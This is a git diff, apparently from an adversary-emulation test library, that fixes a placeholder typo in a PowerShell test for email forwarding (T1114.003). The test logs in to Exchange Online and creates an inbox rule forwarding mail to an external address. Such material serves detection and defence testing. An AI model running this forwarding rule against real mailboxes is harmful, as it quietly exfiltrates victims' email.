diff --git a/atomics/Indexes/index.yaml b/atomics/Indexes/index.yaml index 9275fcf8..4b129d3a 100644 --- a/atomics/Indexes/index.yaml +++ b/atomics/Indexes/index.yaml @@ -70045,7 +70045,7 @@ collection: $secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd Connect-ExchangeOnline -Credential $creds - New-InboxRule -Name "#{rule_name}" -ForwardTo "{#forwarding_email}" + New-InboxRule -Name "#{rule_name}" -ForwardTo "#{forwarding_email}" cleanup_command: | $secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd diff --git a/atomics/Indexes/office-365-index.yaml b/atomics/Indexes/office-365-index.yaml index aa723965..a01415cd 100644 --- a/atomics/Indexes/office-365-index.yaml +++ b/atomics/Indexes/office-365-index.yaml @@ -42069,7 +42069,7 @@ collection: $secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd Connect-ExchangeOnline -Credential $creds - New-InboxRule -Name "#{rule_name}" -ForwardTo "{#forwarding_email}" + New-InboxRule -Name "#{rule_name}" -ForwardTo "#{forwarding_email}" cleanup_command: | $secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd diff --git a/atomics/T1114.003/T1114.003.md b/atomics/T1114.003/T1114.003.md index 60147357..2ea0745d 100644 --- a/atomics/T1114.003/T1114.003.md +++ b/atomics/T1114.003/T1114.003.md @@ -39,7 +39,7 @@ Creates a new Inbox Rule to forward emails to an external user via the "ForwardT $secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd Connect-ExchangeOnline -Credential $creds -New-InboxRule -Name "#{rule_name}" -ForwardTo "{#forwarding_email}" +New-InboxRule -Name "#{rule_name}" -ForwardTo "#{forwarding_email}" ``` #### Cleanup Commands: